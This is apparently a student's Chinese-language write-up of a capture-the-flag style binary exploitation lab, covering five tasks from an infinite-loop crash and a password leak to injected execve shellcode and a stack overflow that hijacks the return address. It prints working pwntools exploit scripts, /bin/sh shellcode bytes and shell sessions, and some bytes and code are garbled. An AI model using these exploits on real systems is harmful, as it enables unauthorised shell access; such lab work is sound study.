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## Pwn Lab 1

## 1. Task 1

观察代码,检索出可能存在漏洞的部分:

```
printf("Input your decimal number: ");
scanf("%d", &a);

printf("What do you want to turn it into: ");
scanf("%d", &b);

for (i = 0; i < 100; i++) {
    if (a <= pow(b, i))
        break;
}</pre>
```

代码没有对输入做判断,所以可以构造特殊的输入让程序陷入死循环。a <= pow(b, i)时跳出,所以只需要让a>pow(b, i)恒成立即可,例如,a取一个大于1的整数,b取0,pow的部分永远是1,这样程序就不会退出,于是有:

```
PS C:\Users\Direwolf> python
Python 3.11.4 (tags/v3.11.4:d2340ef, Jun 7 2023, 05:45:37) [MSC v.1934 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> conn=remote('127.0.0.1',59803)
[x] Opening connection to 127.0.0.1 on port 59803
[x] Opening connection to 127.0.0.1 on port 59803: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 59803: Done
>>> conn.recv()
b'Input your decimal number: '
>>> conn.sendline("100")
<*stdin>:1: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
>>> conn.recv()
b'What do you want to turn it into: '
>>> conn.sendline(b'0')
>>> conn.recv()
b'Alarm clock\n-------\nCool program crashed with status 36352\nyour flag: AAA{pr0GraM_C4n_ea5ilY_crAsH}\n'
>>> |
```

本题可以纯交互完成, 所以没有附上代码。



# 2. Task 2

检查代码,这是一个登录程序,有两个用户,分别为"user"和"admin",因此需要想办法找到密码,检查密码输入的逻辑,发现代码使用了

read(STDIN\_FILENO,buf,BUFFER\_SIZE);而最后输出的时候有 printf("you input password as %s (len %d)\n",password,strlen(password));,使用了strlen函数,而这个函数默认以第一个遇到的'/0'为结尾,如果没有遇到则会一直输出,直到遇到'/0'。而代码中变量定义是挨在一起的:

```
char username[BUFFER_SIZE];
char password[BUFFER_SIZE];
char password_verify[BUFFER_SIZE];
```

说明在内存中输入的密码和真正的密码是存在相邻的位置的,通过构造无结尾的字符就能使程序输出真正的密码:

```
>>> conn=remote('127.0.0.1',63172)
[x] Opening connection to 127.0.0.1 on port 63172
[x] Opening connection to 127.0.0.1 on port 63172: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 63172: Done
>>> conn.recv()
b'Hello there, please input your username'
>>> conn.sendline(b"user")
>>> conn.recv()
b'\n'
>>> conn.sendline(b'32')
>>> conn.recv()
b'Hello user, please tell me the length of your password\n'
>>> payload='A'*32
>>> conn.sendline(payload)
>>> conn.recv()
b"cool, input your password\nWhat's wrong with you? Are you a hacker?\n-
                     ---\nyou input name as user (len 4)\nyou input password as AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAI_am_very_very_strong_password!! (len 64)\n-
```

### 然后再输入真正的密码登入,拿到第一部分的flag: AAA{Oh D1rTy sta

```
>>> conn=remote('127.0.0.1',63172)
[x] Opening connection to 127.0.0.1 on port 63172
[x] Opening connection to 127.0.0.1 on port 63172: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 63172: Done
>>> conn.recv()
b'Hello there, please input your username\n'
>>> conn.sendline(b"user")
>>> conn.sendline(b'32')
>>> conn.recv()
b'Hello user, please tell me the length of your password\ncool, input your password\n'
>>> password=b"I_am_very_very_strong_password!!"
>>> conn.sendline(password)
>>> conn.recv()
b'password correct! show your the first part of flag\nflag1: AAA{Oh_D1rTy_sta'}
>>> |
```

如法炮制拿到admin的密码,然后重新登录,用cat拿到第二部分的flag:

### CK\_Ne3d\_C1a4n}

```
>>> conn.sendline(b"admin")
>>> conn.sendline(b'26')
>>> conn.sendline(b'ILovePlayCTFbtwAlsoDota2!')
>>> conn.recv()
b'Hello there, please input your username\nHello admin, please tell me the length of yo
ur password\ncool, input your password\npassword correct! launch your shell\n'
>>> conn.interactive()
[*] Switching to interactive mode
ls
bin
dev
flag2
lib
lib32
lib64
libexec
login_me
password.txt
cat flag2
CK_Ne3d_C1a4n}
```



## 3. Task 3

对文件进行反汇编,可以看出:这个代码要求我们在实现一些计算功能的代码后,以汇编的形式传入,程序会用我们提供的函数进行计算只有全部通过了才能拿到flag1:

```
puts("Hello there, once you finish the delegate tasks I requested, \nI will give you your flag :)");
puts("*** DO NOT CHEAT ME, BIG MA IS WATHCING YOU ***");
puts("----
puts("Request-1: give me code that performing ADD");
read(0, buf, 0x100uLL);
if ( ((unsigned int ( fastcall *)( QWORD, QWORD))buf)(v7, v8) != v7 + v8 )
  goto LABEL_10;
puts("goooooood, next one");
puts("Request-2: give me code that performing SUB");
read(0, buf, 0x100uLL);
if ( ((unsigned int (__fastcall *)(_QWORD, _QWORD))buf)(v7, v8) != v7 - v8 )
  goto LABEL_10;
puts("goooooood, next one");
puts("Request-3: give me code that performing AND");
read(0, buf, 0x100uLL);
if ( ((unsigned int (__fastcall *)(_QWORD, _QWORD))buf)(v7, v8) != (v8 & v7) )
  goto LABEL_10;
puts("goooooood, next one");
puts("Request-4: give me code that performing OR");
read(0, buf, 0x100uLL);
if ( ((unsigned int (__fastcall *)(_QWORD, _QWORD))buf)(v7, v8) == (v8 | v7)
    && (puts("goooooood, fianl one"),
        puts("Request-5: give me code that performing XOR"),
       read(0, buf, 0x100uLL),
                                 -11 *\/ OLIODD OLIODD\\\--£\/..7 ..0\
```

因此,我们需要先得到这些运算的汇编代码,我们将所有功能写进一个c文件中:

```
int add(int a, int b)
{
        return a + b;
}
int sub(int a, int b)
{
        return a - b;
}
int and(int a, int b)
        return a & b;
}
int or(int a, int b)
{
        return a | b;
}
int xor(int a, int b)
{
        return a ^ b;
}
```

用 gcc -S -02 cal.c, as cal.s -o cal.o,file cal.o生成.o文件,便可以用 objdump -d <file name>|less查看其汇编代码和机器码了:

```
0000000000000000 <add>:
  0:
      f3 Of 1e fa
                              endbr64
  4: 8d 04 37
                              lea
                                   (%rdi,%rsi,1),%eax
  7: c3
                              ret
       0f 1f 84 00 00 00 00
                              nopl 0x0(%rax,%rax,1)
  8:
  f:
       00
0000000000000010 <sub>:
 10: f3 Of 1e fa
                              endbr64
 14:
      89 f8
                                    %edi,%eax
                              mov
 16: 29 f0
                                    %esi,%eax
                              sub
 18:
      с3
                              ret
                              nopl 0x0(%rax)
 19: 0f 1f 80 00 00 00 00
0000000000000000000000 <and>:
 20: f3 Of 1e fa
                              endbr64
 24: 89 f8
                                    %edi,%eax
                              mov
 26: 21 f0
                              and
                                   %esi,%eax
  28:
                              ret
 29: 0f 1f 80 00 00 00 00
                              nopl 0x0(%rax)
0000000000000030 <or>:
  30: f3 Of 1e fa
                              endbr64
 34: 89 f8
                                    %edi,%eax
                              mov
```

```
36:
        09 f0
                                  or
                                         %esi,%eax
  38:
                                  ret
        0f 1f 80 00 00 00 00
                                         0x0(%rax)
                                  nopl
00000000000000040 <xor>:
  40:
        f3 0f 1e fa
                                  endbr64
  44:
        89 f8
                                         %edi,%eax
                                  mov
                                         %esi,%eax
       31 f0
  46:
                                  xor
  48:
        c3
                                  ret
```

#### 将这些指令分别传入程序:

```
add_code = b"\xf3\x0f\x1e\xfa\x8d\x04\x37\xc3"
sub_code = b"\xf3\x0f\x1e\xfa\x89\xf8\x29\xf0\xc3"
and_code = b"\xf3\x0f\x1e\xfa\x89\xf8\x21\xf0\xc3"
or_code = b"\xf3\x0f\x1e\xfa\x89\xf8\x09\xf0\xc3"
xor_code = b"\xf3\x0f\x1e\xfa\x89\xf8\x31\xf0\xc3"
```

#### 最后得到:

```
>>> from pwn import *
>>> target_address = '127.0.0.1'
>>> target_port = 50114
>>> p = remote(target_address, target_port)
 Opening connection to 127.0.0.1 on port 50114
 ] Opening connection to 127.0.0.1 on port 50114: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 50114: Done
>>> add_code = b"\xf3\x0f\x1e\xfa\x8d\x04\x37\xc3"
>>> sub_code = b"\xf3\x0f\x1e\xfa\x89\xf8\x29\xf0\xc3"
>>> and_code = b"\xf3\x0f\x1e\xfa\x89\xf8\x21\xf0\xc3"
>>> or_code = b"\xf3\x0f\x1e\xfa\x89\xf8\x09\xf0\xc3"
>>> xor_code = b"\xf3\x0f\x1e\xfa\x89\xf8\x31\xf0\xc3"
>>> p.sendafter(b"Request-1: give me code that performing ADD", add_code)
b'Hello there, once you finish the delegate tasks I requested,\nI will give you your fl
ag :)\n*** DO NOT CHEAT ME, BIG MA IS WATHCING YOU ***\n-
                          --\nRequest-1: give me code that performing ADD'
>>> p.sendafter(b"Request-2: give me code that performing SUB", sub_code)
b'\ngooooood, next one\nRequest-2: give me code that performing SUB'
>>> p.sendafter(b"Request-3: give me code that performing AND", and_code)
b'\ngooooood, next one\nRequest-3: give me code that performing AND'
>>> p.sendafter(b"Request-4: give me code that performing OR", or_code)
b'\ngooooood, next one\nRequest-4: give me code that performing OR'
>>> p.sendafter(b"Request-5: give me code that performing XOR", xor_code)
b'\ngooooood, fianl one\nRequest-5: give me code that performing XOR'
>>> p.interactive()
[*] Switching to interactive mode
Soooooooo wonderful, here is your first part of flag:
AAA{SheL1c0de_T0[*] Got EOF while reading in interactive
```

### 所以flag的第一部分为: AAA{SheL1c0de\_T0

正常按照程序流程走的话只能拿到第一部分的flag,既然程序给了我们执行任意代码的能力,就需要想办法调出shell来找到第二部分的flag了,为此需要使用shellcode,通过查询database找到了我们需要的shellcode:

shellcode=b"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x 2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"

传入程序调出shell,最后找到flag的第二部分: \_9E7\_All\_F1ag5}

```
>>> p = remote(target_address, target_port)
[x] Opening connection to 127.0.0.1 on port 50114
[x] Opening connection to 127.0.0.1 on port 50114: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 50114: Done
>>> shellcode = b"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\
x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"
>>> p.sendafter(b"Request-1: give me code that performing ADD", shellcode)
b'Hello there, once you finish the delegate tasks I requested,\nI will give you your fl
ag :)\n*** DO NOT CHEAT ME, BIG MA IS WATHCING YOU ***\n-
                          --\nRequest-1: give me code that performing ADD'
>>> p.interactive()
[*] Switching to interactive mode
ls
bin
dev
flag2
inject_me
lib
lib32
lib64
libexec
cat flag2
_9E7_All_F1ag5}
```

完整的flag为: AAA{SheL1c0de\_T0\_9E7\_All\_F1ag5}

## 4. Task 4

检查.c文件的漏洞:

```
int main(int argc, char *argv[])
{
    prepare(); // quite necessary

    int rndval;
    int size = sysconf(_SC_PAGESIZE);
    char *rndstr = getenv(RDNKEY);
    char buffer[32];

    sscanf(rndstr, "%d", &rndval);

    uint64_t map_addr = MAP_ADDR + ((rndval % 8) * 0x1000);
    mmap(map_addr, size, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE |

MAP_ANONYMOUS | MAP_FIXED, -1, 0);
    puts("what's your name: ");
    read(0, map_addr, 64);
    puts("try to overflow me~");
    gets(buffer);
```

```
return 0;
}
```

从这里可以看出,read函数输入的数据是可以执行的(PROT\_EXEC),我们可以把 shellcode放到这里面,用后面的gets函数实现栈溢出攻击,将函数的返回地址改到 map\_addr,就能够使程序跳转到我们的shellcode。因此我们需要知道,shellcode的地 址和需要覆盖的字节数。

MAP\_ADDR的宏定义为 #define MAP\_ADDR 0x20000, 经过 uint64\_t map\_addr = MAP\_ADDR + ((rndval % 8) \* 0x1000);转换后得到map\_addr, 也就是注入的 shellcode的位置,然而rndval取决于服务器的环境变量取值,需要进行爆破,好在有取 模的限制,我们最多只需要8次尝试。

把可执行文件放入IDA查看其汇编代码:

```
rax, aTryToOverflowM; "try to overflow me~"
lea
        rdi, rax
mov
                          s
call
        puts
        rax, [rbp-40h]
lea
mov
        rdi, rax
mov
        eax, 0
call
        gets
mov
        eax, 0
leave
retn
```

我们的目标是让函数回到retn语句,实现返回,调用gets前[rbp-40h]告诉了我们偏移量,而且在64位系统下还额外需要8字节的偏移量,最后使用的覆盖长度是 0×40+8。

根据以上思路和之前查到的shellcode,可以完成以下攻击代码:

```
from pwn import *
# 目标服务器地址和端口
target_address = '127.0.0.1'
target_port = 51842

# 连接到目标服务器
p = remote(target_address, target_port)

shellcode_addr=0x20000 +0x5000

# x86_64 Linux 打开shell的shellcode
shellcode =
b"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"
# 计算部分
```

```
payload=b'A'*(0x40+8) + p64(shellcode_addr)
# 发送shellcode到目标服务器
p.sendafter(b"what's your name: ",shellcode)
p.sendafter(b"try to overflow me~",payload)
# 切換到交互模式
p.interactive()
```

其中0x5000的偏移量是逐个遍历得到的。由此可以进入shell,并使用cat flag命令输出 flag的内容: AAA{R37\_t0\_guEs5\_shE1Lc0d3\_poS}

```
>>> from pwn import *
>>> # 目标服务器地址和端口
>>> target_address = '127.0.0.1'
>>> target_port = 51842
>>>
>>> # 连接到目标服务器
>>> p = remote(target_address, target_port)

[x] Opening connection to 127.0.0.1 on port 51842

[x] Opening connection to 127.0.0.1 on port 51842: Trying 127.0.0.1
 +] Opening connection to 127.0.0.1 on port 51842: Done
 >>> shellcode_addr=0x20000 +0x5000
>>> # x86_64 Linux 打开shell的shellcode
>>> shellcode = b"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x
89\xd2\x0f\x05"
>>> # 计算部分
>>> payload=b'A'*(0x40+8) + p64(shellcode_addr)
>>> # 发送shellcode到目标服务器
>>> p.sendafter(b"what's your name: ",shellcode)
b"what's your name: "
>>> p.sendafter(b"try to overflow me~",payload)
b'\ntry to overflow me~'
>>> # 切换到交互模式
>>> p.interactive()
[*] Switching to interactive mode
ls
bin
dev
flag
lib
lib32
lib64
libexec
sbofsc
cat flag
AAA{R37_t0_guEs5_shE1Lc0d3_poS}
```

从而完成此题目:



# 5. Bonus

这道题目比前面的几题都简单,题目已经给出服务器的架构是x86的32位系统,而且还直接开放了代码的运行权限,所以直接把shellcode发送过去然后在对应路径找到flag即可。

```
from pwn import *
      target_address = '10.214.160.13'
      target_port = 11003
      p = remote(target_address, target_port)
     shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xx9\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xx0\x40\xc0\x80"
     p.sendafter(b'Mom: This machine will run your input as assemble instruction\n',shellcode)
     p.sendline(b'cd data')
     p.sendline(b'cat flag')
      p.interactive()
问题 40
                          终端 端口 注释
PS D:\CS\MD\Doc1\site1> python -u "c:\Users\Direwolf\Desktop\bonus.py"
[x] Opening connection to 10.214.160.13 on port 11003
[x] Opening connection to 10.214.160.13 on port 11003: Trying 10.214.160.13
[+] Opening connection to 10.214.160.13 on port 11003: Done
b'AAA{lgm_is_a_big_turtle_qq_qun_386796080}'
[*] Switching to interactive mode
```

上图中的代码可以直接跳转到指定路径并输出flag的内容,即 AAA{lgm\_is\_a\_big\_turtle\_qq\_qun\_386796080}。